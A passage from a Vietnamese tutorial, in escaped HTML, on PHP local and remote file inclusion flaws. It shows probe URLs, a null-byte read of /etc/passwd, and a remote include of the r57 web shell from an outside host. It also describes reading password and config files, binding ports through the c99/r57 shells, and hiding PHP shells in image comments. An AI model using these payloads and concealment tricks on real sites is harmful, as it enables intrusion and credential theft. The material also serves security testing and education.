cơ sở dữ liệu (database) qua file cấu hình của website, sau đó truy nhập vào cơ sở
dữ liệu : ăn trộm dữ liệu, xóa, thay đổi dữ liệu,… Trong trường hợp này, cơ sở dữ
liệu là MySql cho phép sử dụng hàm loadfile, thì kẻ tấn công có thể tận dụng để đọc
file từ hệ thống và file của các site khác qua MySql bằng lệnh LOAD DATA LOCAL INFILE.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ đoạn mã PHP include file:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&amp;lt;?php&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
…
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;include("config.php");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
…
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;?&amp;gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi khai thác kẻ tấn công có thể include trực
tiếp như trên hoặc có thể include một cách mềm dẻo như sau:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&amp;lt;?php&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;include($page);&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;?&amp;gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi đó nếu tham số&amp;nbsp;&lt;strong&gt;register_globals&lt;/strong&gt;&amp;nbsp;trong
file php.ini được đặt On thì biến $page sẽ là biến toàn cục, có thể gọi đến nó từ
bất kì trang nào.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Nếu biến $page được sử dụng như sau: $ _ GET['page'],
$ _ POST['page'], $ _ REQUEST['page'] hoặc $_COOKIE['page']&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi đó $page sẽ có thể được gọi từ trình duyệt
để include hoặc đọc file.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ đọc file test.html : index.php?page = test.html&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_118r8jqntg3_b" name="remote file include" width="650" align="bottom" border="0" height="624"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;&lt;strong&gt;Hình 1. Include file từ server khác&lt;/strong&gt;&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Hình ảnh dưới đây minh họa việc đọc file boot.ini
trên máy chủ windows thông qua biến&amp;nbsp;&lt;em&gt;script&lt;/em&gt;.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_119gm76rwfb_b" name="readfile" width="650" align="bottom" border="0" height="487"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 2. Include file từ server chủ&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Các hàm có thể tận dung để khai thác include,
require, require _ once, include _ once. Về cơ bản require và include giống nhau,
chỉ có một điểm khác là nếu file không tồn tại thì có lỗi fatal-error và script dừng
lại,không chạy tiếp.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;font size="4"&gt;&lt;strong&gt;Cách tìm lỗ hồng file includesion&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Có 2 phương pháp để tìm ra lỗi này : kiểm thử
hộp đen (Black- Box Testing) và kiểm thử hộp trắng (White-Box Testing).&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Kiểm thử hộp trắng&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi bạn có thể xem toàn bộ source code, áp dụng
đối với phần mềm của bạn viết, phần mềm mã mở, phần mềm ai nhờ bạn test hộ,… Có thể
có các chương trình để quét code hoặc bạn cũng có thể tự viết một đoạn mã làm việc
này, thủ công nhất là tự dò bằng các trình soạn thảo thông dụng. Tìm các dòng có cú
pháp tương tự như&amp;nbsp;&lt;em&gt;include($page)&lt;/em&gt;&amp;nbsp;, điểm lưu ý là biến&amp;nbsp;&lt;em&gt;$page&lt;/em&gt;&amp;nbsp;phải
chưa được khởi tạo hoặc gán giá trị thì mới có lỗ hổng include file.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Một vài hình ảnh về shell c99, r57 (2 tool phổ
biến nhất khi hack web với PHP):&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_120cmrfw3dn_b" name="c99shell_16" width="650" align="bottom" border="0" height="624"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 3 . Hình ảnh hack tool shell
c99&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_121hhvb84gq_b" name="r57shell_135" width="650" align="bottom" border="0" height="624"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 4. Hình ảnh hack tool shell r57&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ở 2 hình trên có thể thấy server chưa có bất kỳ
một cấu hình bảo mật nào do đó qua web shell có thể truy nhập đến bất kỳ phần nào
của hệ thống, thậm chí chạy được các lệnh hệ thống, hay mở các cổng để truy nhập từ
xa vào hệ thống. Ví dụ mở cổng 2009 và telnet từ xa vào.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_122hcd3bjc5_b" name="bind_port" width="312" align="bottom" border="0" height="157"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 5. Công cụ bind port của r57&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_123g4rqbtcm_b" name="bind_port2" width="650" align="bottom" border="0" height="321"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 6. Kết nối vào sau khi bind port&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;strong&gt;&lt;font face="Times New Roman, serif"&gt;Kiểm thử hộp đen&lt;/font&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Kiểm thử hộp đen sử dụng khi bạn không có mã nguồn
của mục tiêu, cũng hoàn toàn giống như khi attacker tấn công một hệ thống nào đó,
chỉ có thể nhìn từ bên ngoài, đó cũng là lý do vì sao được gọi là hộp đen.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Phương pháp là thử các dữ liệu đầu vào, bất kỳ
dữ liệu nào, khi ứng dụng bắn ra lỗi là bạn có thêm thông tin. Để có thể tìm ra lỗi
thì có thể kiểm thử bằng công cụ quét, kiểm thử “bằng tay”. Theo kinh nghiệp của tôi,
đối với lỗi này các chương trình quét tỏ ra rất kém hiệu quả, với người có kinh nghiệm
thì lỗi này đôi khi chỉ cần lướt qua website một vài lần cũng có thể nhận thấy được.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ bạn thấy có các link dạng:&amp;nbsp;&lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://www.example.com/index.php?page=downloads.html"&gt;&lt;font face="Times New Roman, serif"&gt;www.example.com/index.php?page=downloads.html&lt;/font&gt;&lt;/a&gt;&lt;/u&gt;&lt;/font&gt;&lt;font face="Times New Roman, serif"&gt;&amp;nbsp;như
vậy sẽ rất có khả năng là biến page có lỗi inlcude file, bạn cần thử cụ thể hơn bằng
cách đọc thử các file khác.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_124cmbswcg6_b" name="read passwd file" width="641" align="bottom" border="0" height="609"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 6. Đọc file /etc/passwd qua lỗi
include&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ :&amp;nbsp;&lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://www.example.com/index.php?page=otherfile.html"&gt;&lt;font face="Times New Roman, serif"&gt;www.example.com/index.php?page=otherfile.html&lt;/font&gt;&lt;/a&gt;&lt;/u&gt;&lt;/font&gt;&lt;font face="Times New Roman, serif"&gt;&amp;nbsp;,...
nếu nhận được lỗi&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;Warning:&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;em&gt;include(otherfile.html) [function.include]:
failed to open stream: No such file or directory in /home/site/public_html/ index.php
on line x.&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Thì có nghĩa là file đó không tồn tại.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Một trong các file có thể dùng để kiểm tra và
có thêm thông tin là robots.txt.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_125grbscggz_b" name="graphics1" width="650" align="bottom" border="0" height="163"&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 7. Đọc file qua lỗi include&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;div id="doc-contents"&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Tìm lỗi qua các máy tìm kiếm&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Có thể trực tiếp tìm thông tin về lỗi của mục
tiêu qua các trang tìm kiếm hay qua các trang thông báo lỗi như &lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://www.milw0rm.com/"&gt;&lt;font face="Times New Roman, serif"&gt;http://www.milw0rm.com&lt;/font&gt;&lt;/a&gt;&lt;/u&gt;&lt;/font&gt;&lt;font face="Times New Roman, serif"&gt; nếu
đã biết tên phần mềm trang web mục tiêu dùng.&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="margin-left: 0.5in; margin-bottom: 0.14in;"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_127f7pz4scw_b" name="milw0rm" width="650" align="bottom" border="0" height="745"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 8. Trang milw0rm.com&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-left: 0.5in; margin-bottom: 0.14in;"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p style="margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Dùng Google CodeSearch&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="margin-left: 0.5in; margin-bottom: 0.14in;"&gt;
&lt;font face="Times New Roman, serif"&gt;Cú pháp : lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_128hknpskf7_b" name="graphics1" width="518" align="bottom" border="0" height="522"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 9. Tìm lỗi qua Google Code Search&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Null-Byte&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Trong một số trường hợp include được dùng như
sau:&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;include($page.".html");&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi đó chỉ các file .html mới được include, vậy
làm sao để đọc được file khác?&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Null-byte sẽ cho phép đọc file khác bằng cách
thêm null byte vào cuối file cần đọc.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Đọc file /etc/passwd&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
 &lt;font face="Times New Roman, serif"&gt;&lt;em&gt;index.php?page =/ etc/passwd%00&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi đó &lt;em&gt;include("/etc/passwd.html")&lt;/em&gt;; trở
thành &lt;em&gt;include("/etc/ passwd");&lt;/em&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Tuy nhiên không phải lúc nào nul-bite cũng có
tác dụng, tùy thuộc webserver, code,…&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;font size="4"&gt;&lt;strong&gt;Khai thác lỗ hổng (Exploiting)&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi phát hiện ra lỗi làm sao có thể khai thác
được? Phần trên phần nào bạn cũng đã nhận thấy một số cách khai thác. Về cơ bản có
hai kiểu khai thác là inclde file từ máy chủ khác (RFI – Remote file include), include
file từ chính máy chủ lỗi (LFI – Local file include).&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;strong&gt;&lt;font face="Times New Roman, serif"&gt;Remote file include (RFI)&lt;/font&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Khi bị lỗi này tức là tham số register_globals=On,
với lỗi này người không cần có nhiều kiến thức về lập trình cũng dễ dàng khai thác
được thông tin. Kẻ tấn công chỉ cần đặt file web hack tool trên một máy chủ nào đó
(thường là host miễn phí) và include qua lỗi.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt"&gt;http://lab.vnsecurity.vn/index.php?page=http://remote.vnsecurity.vn/r57.txt&lt;/a&gt;&lt;/u&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;File được include vào là file r57.txt từ host
remote.vnsecurity.vn. Kết quả &lt;/font&gt;&lt;font face="Wingdings"&gt;&lt;/font&gt;&lt;font face="Times New Roman, serif"&gt; tham
khảo hình 1.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;strong&gt;&lt;font face="Times New Roman, serif"&gt;Local file include (LFI)&lt;/font&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Nếu tham số &lt;em&gt;allow_url_fopen&lt;/em&gt; trong file
php.ini đặt là Off thì sẽ không thể thực hiện include file từ máy chủ khác. Khi đó
chỉ khai thác được dạng include trên cùng máy chủ, cũng tùy cấu hình server an toàn
hay không mà attacker có thể đọc được file ngoài thư mục của website có lỗi. Khi đó
để có thể khai thác tốt cần có một web shell trên máy chủ, làm sao để có được web
shell? Có thể có nhiều cách nhưng đòi hỏi người khai thác phải có kinh nghiệm và hiểu
biết về PHP, apache, Linux. (Trên Windows cũng tương tự nhưng có một số điểm khác,
tôi không trình bày ở tài liệu này).&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Một trong các điểm quan trọng trong khai thác
LFI là đọc các file nhạy cảm của hệ thống, website. Một số file quan trong đối với
hệ điều hành Linux /etc/passwd, /etc/group, httpd.conf,…&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;File /etc/passwd chứa thông tin về tài khoản của
hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu,
thường là Brute force (dân lập trình thường gọi là duyệt trâu :D). Nếu mật khẩu không
được shadowed, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd, có được
file này attacker có thể có được mật khẩu bằng cách crack (dùng John the Ripper chẳng
hạn). Còn nếu không mật khẩu mã hóa nằm trong /etc/shadow (có thể ở thư mục khác đối
với các bản Linux và Unix).&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Ví dụ cú pháp trong shadow : &lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;guru:$1$OiD7e.JO$AGoOmlOsUK1XBw2qJcx4z0:14286:0:99999:7:::&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;File httpd.conf là file cấu hình của webserver
Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với
việc khai thác là error_log, access_log, DocumentRoot,…&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Một số file quan trọng của website như .htaccess
, file cấu hình chứa mật khẩu của database (thường là config.inc, configuration.php,…)&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;LFI cũng được dùng kết hợp với lỗi upload để có
được web shell. Nếu lỗi upload file có thể up được trực tiếp web shell lên và chạy
được thì không cần dùng đến LFI. Nhưng nếu có lỗi upload, chỉ upload được các file
ảnh,… thì có thể tận dụng LFI. Việc cần làm là định vị ví trí file ảnh nhiệm vụ này
khó hay không tùy thuộc kinh nghiệm tường người :D.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Trong việc upload ảnh lên cũng có rất nhiều kiểu
tùy thuộc code của chương trình upload. Nếu chỉ lọc đuôi file thì đơn giản bạn chỉ
cần đổi tên web shell từ .php sang đuôi của ảnh .jpg chẳng hạn. Nếu chương trình upload
kiểm tra xem có đúng là ảnh không thì làm sao để chèn code PHP vào file ảnh ? Phần
dưới tôi sẽ nói về chèn code vào file ảnh mà vẫn là file ảnh thực sự.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_129frd8rffc_b" name="include_image_file2" width="650" align="bottom" border="0" height="603"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 10. Include code PHP từ file
ảnh&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;font size="4"&gt;&lt;strong&gt;Ẩn code PHP và cách dấu
shell&lt;/strong&gt;&lt;/font&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Có nhiều chỗ có thể ẩn code PHP như trong chính
file PHP, file log, file ảnh hay bất kỳ file gì.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;&lt;strong&gt;Chèn PHP vào ảnh&lt;/strong&gt;&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Như ở trên tôi đã nói chèn code PHP vào ảnh để
làm gì ? Ở đây chèn code PHP vào file ảnh mà file ảnh đó vẫn là một file ảnh thực
sự. Vậy chèn code PHP vào phần nào của ảnh ? Ta sẽ thêm code PHP vào phần comment
của ảnh, tuy nhiêm phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không
được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Có 2 chương trình phổ biến để chèn code PHP vào
ảnh là : &lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;+ &lt;strong&gt;edjpgcom.exe&lt;/strong&gt; dùng cho Windows&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Download : &lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://guru.net.vn/content/binary/edjpgcom.zip"&gt;http://guru.net.vn/content/binary/edjpgcom.zip&lt;/a&gt;&lt;/u&gt;&lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_130c8bj95f7_b" name="graphics2" width="492" align="bottom" border="0" height="259"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 11. Giao diện edjpgcom&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_131d8gwhpdg_b" name="include_image_file3" width="447" align="bottom" border="0" height="184"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 12. File ảnh sau khi đã thêm
code PHP, không có gì thay đổi&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_132dv25jscb_b" name="include_image_file4" width="523" align="bottom" border="0" height="229"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 13. Kết quả include file ảnh
có chứa code upload&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;+&lt;strong&gt; jhead&lt;/strong&gt; cho Linux và Windows&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Download : &lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="http://freshmeat.net/projects/jhead/"&gt;http://freshmeat.net/projects/jhead/&lt;/a&gt;&lt;/u&gt;&lt;/font&gt; 
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;img src="http://docs.google.com/File?id=dg34rcvn_133g66tfzqk_b" name="include_image_file10" width="403" align="bottom" border="0" height="182"&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western" align="center"&gt;
&lt;strong&gt;&lt;em&gt;&lt;font face="Times New Roman, serif"&gt;Hình 14. Hình ảnh jhead&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;
&lt;/p&gt;
&lt;p style="margin-bottom: 0.14in;" class="western"&gt;
&lt;br&gt;
&lt;/p&gt;
